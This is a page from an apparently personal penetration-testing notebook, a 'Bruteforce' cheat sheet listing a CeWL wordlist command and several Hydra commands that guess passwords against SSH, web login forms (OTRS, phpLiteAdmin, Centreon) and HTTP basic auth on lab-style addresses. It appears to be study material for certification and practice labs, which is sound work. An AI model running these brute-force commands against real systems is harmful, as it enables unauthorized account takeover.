refabr1k's Pentest Notebook
  • refabr1k's Pentest Notebook
  • Steganography
  • Kali USB with persistence memory
  • useful tools
  • Understanding ICACLS permissions
  • INFO GATHERING
    • Port Knocking
    • 22 tcp - SSH
      • SSH Tunneling
    • 25 tcp - SMTP
    • 53 tcp/udp - DNS
    • 88 tcp - Kerberos
    • 161 udp - SNMP
    • 445 tcp - SMB
    • 1098,1099 tcp - Java RMI
    • 8009 tcp - AJP
    • 5901,5902 tcp - VNC
  • Web
    • XSS cookie stealing
    • PHP
    • Webdav
    • Wordpress
    • XML RPC
    • SQL Injection
    • SSRF
  • EXPLOITATION
    • File Transfers
    • Buffer Overflow
    • Bruteforce
      • Hashcat
      • Ophcrack (rainbow tables)
      • John The Ripper
    • PHP rce
    • Compiling
    • msfvenom
    • Reverse shell
    • Using ENV to escape Bad Characters
    • shellshock
    • Ncat Persistent Backdoor
  • PRIVESC - LINUX
    • Basic checks
    • Upgrading Shells
    • SUID
  • Privesc - Windows
    • Basic checks / powershell
    • Privesc Openings
    • LonelyPotato - SeImpersonatePrivilege
    • Enable RDP @ Firewall
    • NTLM (Pass The Hash)
  • Windows
    • NTDS.dit
    • Responder / SMB Relay
    • Attacking AD
      • AD Hacking Lab Setup
  • Metasploit
    • Basic Usage
    • Meterpreter
      • Pivoting
      • Windows Post Exploitation
  • Unsorted
    • other notes
  • eLearnSecurity eJPT
    • eJPT notes
  • OSWP
  • Getting started
  • WEP Attacks
    • WEP Attack (OPEN) - Clients connected
    • WEP Attack (OPEN) - Clientless
    • WEP Attack (SKA)
  • WPA/WPA2 Attacks
  • Scripts
    • get port from nmap
    • Curl response
    • ping sweep
    • iptables-counter.sh
    • (DNS) zonetransfer_check.sh
    • (DNS) dns-rev-brute.sh
    • (DNS) dns-fwd-brute.sh
    • (SMB) vuln-scan.sh
    • (SMB) samba-checker.sh
    • (SMTP) vrfy.py
    • (SNMP) mib-check.sh
  • Zeroday vulnerabilities explained
    • 2020-12 Solarwind supply chain
Powered by GitBook
On this page
  • CEWL
  • Hydra

Was this helpful?

  1. EXPLOITATION

Bruteforce

CEWL

For creating wordlists

cewl -w wordlist.txt -d 5 http://10.11.1.219/html5

Hydra


#ssh bruteforce (single user)
hydra -e nsr -F -l loneferret -P /usr/share/wordlists/10-million-password-list-top-100000.txt 172.17.1.95 ssh -t 4 -V

#ssh bruteforce (single user)
hydra -e nsr -F -l james -P /usr/share/wordlists/rockyou.txt 10.10.10.51 ssh -t 4 -V

#ssh bruteforce (multi user, loop around user name instead of password)
hydra -e nsr -F -u -L ssh_users.txt -P ssh_users.txt 172.17.1.193 ssh -t 4 -V

hydra -e nsr -F -u -L valid_ssh_users.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt 10.10.10.58 ssh -t 4 -V



#http post
hydra -L ../usernames.txt -P /root/scripts/wordlist/CeWL/pw.txt 10.11.1.39 http-post-form "/otrs/index.pl:Action=Login&RequestedURL=&Lang=en&TimeOffset=-120&User=^USER^&Password=^PASS^:F=Login failed" -I

#http post - without username
hydra -l "" -F -V -P /usr/share/wfuzz/wordlist/others/common_pass.txt 10.11.1.116 http-post-form "/db/phpliteadmin.php:password=^PASS^&login=Log+In:F=Incorrect password."

#https post (HTTPS) - without username
hydra -l "" -F -V -P /usr/share/wfuzz/wordlist/others/common_pass.txt 10.11.1.116 https-post-form "/db/phpliteadmin.php:password=^PASS^&login=Log+In:F=Incorrect password."


#http post - failure by content-length, quits after found
hydra -L /usr/share/wfuzz/wordlist/others/common_pass.txt -P /usr/share/wfuzz/wordlist/others/common_pass.txt -S -F 10.11.1.217 https-post-form "/index.php:input_user=^USER^&input_pass=^PASS^&submit_login=Submit:F=Content-Length\: 1785" -VV

#http post - thread 60 wait 60 use null, login as pass, reversed login
hydra -L /root/wall.txt -P /root/rockyou.txt -t 60 -w 60 -F -u -e nsr -V 10.10.10.157 http-post-form "/centreon/api/index.php?action=authenticate:username=^USER^&password=^PASS^:S=authToken"

#https get - basic auth
hydra -s 443 -L nameList.txt -P /usr/share/wordlists/rockyou.txt -F -u -e nsr -V 10.10.10.159 https-get https://docker.registry.htb/v2/
PreviousBuffer OverflowNextHashcat

Last updated 4 years ago

Was this helpful?